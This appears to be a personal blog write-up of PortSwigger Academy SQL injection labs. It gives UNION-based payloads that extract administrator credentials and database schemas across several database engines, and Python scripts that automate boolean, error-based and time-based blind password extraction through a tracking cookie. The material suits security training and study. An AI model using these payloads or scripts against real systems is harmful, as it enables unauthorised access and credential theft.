PortSwigger Academy - SQL Injection Labs
- Jun 27, 2021
- 5 min read
Studying for my eLearnSecurity eWPTX exam I decided to solve the SQL Injection labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge.
Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.
Here is a list of the labs from Apprentice to Practitioner level:
You can find the lab list at the following link
Useful tool:
Research: Breaking the SQL statement with an OR operation.
Payload:
URL encoded form of
' OR 1=1 -- -
is
%27+OR+1%3D1+--+-
Research: Simple bypass by using the administrator user name and then comment out the rest of the query.
Payload:
administrator' -- -
Research: Simply check for the number of columns with
' OR 1=1 ORDER BY 1 -- -
When we hit ORDER BY 4 we receive a server internal error.
Payload:
URL encoded form of
' UNION SELECT NULL,NULL,NULL-- -
is
%27+UNION+SELECT+NULL%2CNULL%2CNULL--+-
Research: Following the previous lab and the lab requirement to print the Eg7sMC string in the text column.
Payload:
URL encoded form of
' UNION SELECT NULL,'Eg7sMC',NULL-- -
is
%27%20UNION%20SELECT%20NULL,%27Eg7sMC%27,NULL--%20-
Research: Following the previous lab and the lab requirement to extract the administrator password. Note: there are now two columns instead of three.
Payload:
URL encoded form of
' UNION SELECT username, password FROM users WHERE username = 'administrator' -- -
is
%27+UNION+SELECT+username%2C+password+FROM+users+WHERE+username+%3D+%27administrator%27+--+-
Final result

Research: Following the previous lab and the lab requirement to extract the administrator password. Note: there are now two columns instead of three.
Payload:
URL encoded form of
' UNION SELECT NULL, CONCAT(username,' ',password) FROM users WHERE username = 'administrator' -- -
is
%27+UNION+SELECT+NULL%2C+CONCAT%28username%2C%27+%27%2Cpassword%29+FROM+users+WHERE+username+%3D+%27administrator%27+--+-
Research: Following the previous lab and the lab requirement to extract the Oracle banner.
Note: there are now two columns instead of three.
Payload:
URL encoded form of
' UNION SELECT NULL, banner FROM v$version-- -
is
%27+UNION+SELECT+NULL%2C+banner+FROM+v%24version--+-
Final result

Research: Following the previous lab and the lab requirement to extract the database version.
Note: there are now two columns instead of three.
Payload:
URL encoded form of
' UNION SELECT NULL, @@version -- -
is
%27+UNION+SELECT+NULL%2C+%40%40version+--+-
Research: Following the previous lab and the lab requirement to extract the database content.
Note: there are now two columns instead of three.
Payload:
List all databases
URL encoded form of
' UNION SELECT schema_name, NULL FROM information_schema.schemata -- -
is
%27+UNION+SELECT+schema_name%2C+NULL+FROM+information_schema.schemata+--+-
List tables from the public database
URL encoded form of
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'public' -- -
is
%27+UNION+SELECT+table_name%2C+NULL+FROM+information_schema.tables+WHERE+table_schema+%3D+%27public%27+--+-
List table columns from the users_kzqifg table
URL encoded form of
' UNION SELECT column_name , NULL FROM information_schema.columns WHERE table_schema = 'public' AND table_name= 'users_kzqifg' -- -
is
%27+UNION+SELECT+column_name+%2C+NULL+FROM+information_schema.columns+WHERE+table_schema+%3D+%27public%27+AND+table_name%3D+%27users_kzqifg%27+--+-
List content from the users_kzqifg table
URL encoded form of
' UNION SELECT username_yyfnis, password_zwiccs FROM users_kzqifg -- -
is
%27+UNION+SELECT+username_yyfnis%2C+password_zwiccs+FROM+users_kzqifg+--+-
Final result

Research: Following the previous lab and the lab requirement to extract the database content.
Note: there are now two columns instead of three.
Payload:
List all tables
URL encoded form of
' UNION SELECT table_name, NULL FROM all_tables -- -
is
%27+UNION+SELECT+DISTINCT+owner%2C+NULL+FROM+all_tables+--+-
List table columns from the users_aojahp table
URL encoded form of
' UNION SELECT owner, table_name FROM all_tab_columns WHERE table_name = 'USERS_AOJAHP' -- -
is
%27+UNION+SELECT+owner%2C+table_name+FROM+all_tab_columns+WHERE+table_name+%3D+%27USERS_AOJAHP%27+--+-
List content from the users_aojahp table
URL encoded form of
' UNION SELECT USERNAME_XXOZJN, PASSWORD_EOMJCZ FROM USERS_AOJAHP -- -
is
%27+UNION+SELECT+USERNAME_XXOZJN%2C+PASSWORD_EOMJCZ+FROM+USERS_AOJAHP+--+-
Final result

Research: Following the lab instructions - we can see the cookie is vulnerable to SQLi.
The first step is to determine the password length and the second step is to determine the password itself.
Payload:
import requests
url = 'https://<Lab-ID>.web-security-academy.net/'
passwordLength = 0
loop = True
while loop:
passwordLength = passwordLength + 1
payload = "' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>" + str(passwordLength) + ")='a"
cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}
x = requests.get(url, cookies=cookies)
if "Welcome" not in x.text:
loop = False
print("Password length is: " + str(passwordLength))
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ""
for position in range(1, passwordLength + 1):
for char in chars:
payload = "' AND (SELECT SUBSTRING(password," + str(position) + ",1) + FROM users WHERE username='administrator')='" + char + ""
cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}
x = requests.get(url, cookies=cookies)
if "Welcome" in x.text:
password = password + char
print("Password is: " + password)
break
print ("Username/Password is: administrator/" + password)
Research: None. I had to look at the solution and build my own Python script to solve the challenge.
Payload:
import requests
url = 'https://<Lab-ID>.web-security-academy.net/'
passwordLength = 0
loop = True
while loop:
passwordLength = passwordLength + 1
payload = "'||(SELECT CASE WHEN LENGTH(password) = " + str(passwordLength) + " THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}
x = requests.get(url, cookies=cookies)
if "Error" in x.text:
loop = False
print("Password length is: " + str(passwordLength))
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ""
for position in range(1, passwordLength + 1):
for char in chars:
payload = "'||(SELECT CASE WHEN SUBSTR(password," + str(position) + ",1) = '" + str(char) + "' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
cookies = {"TrackingId": "<Cookie Value>" + payload, "session": "<Session Cookie Value>"}
x = requests.get(url, cookies=cookies)
if "Error" in x.text:
password = password + char
print("Password is: " + password)
break
print ("Username/Password is: administrator/" + password)
Research: Checking the SQL cheat sheet https://portswigger.net/web-security/sql-injection/cheat-sheet and testing multiple payloads.
Payload:
<Cookie Value>'|| pg_sleep(10) || '
Research: Following the previous lab(s) instructions I created a Python script to measure the execution times and extract the administrator password.
Payload:
import requests
import time
import urllib.parse
url = 'https://<Lab-ID>.web-security-academy.net/'
passwordLength = 0
loop = True
while loop:
passwordLength = passwordLength + 1
payload = "';SELECT CASE WHEN (username='administrator' AND LENGTH(password)=" + str(passwordLength) + ") THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--"
cookies = {"TrackingId": "<Cookie Value>" + urllib.parse.quote(payload), "session": "<Session Cookie Value>"}
start = time.time()
x = requests.get(url, cookies=cookies)
delta = time.time() - start
if delta > 10:
print ("Password length is: " + str(passwordLength))
break
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ""
for position in range(1, passwordLength + 1):
for char in chars:
payload = "';SELECT CASE WHEN (username='administrator' AND SUBSTRING(password," + str(position) + ",1) = '" + str(char) + "') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--"
cookies = {"TrackingId": "<Cookie Value>" + urllib.parse.quote(payload), "session": "<Session Cookie Value>"}
start = time.time()
x = requests.get(url, cookies=cookies)
delta = time.time() - start
if delta > 10:
password = password + char
print("Password is: " + password)
if passwordLength == len(password):
break
print ("Username/Password is: administrator/" + password)
Research: These two labs require Burp Collaborator which I don't have.
Reverse engineer the solution it is pretty awesome to combine SQLi with XXE to exfiltrate data.
Comments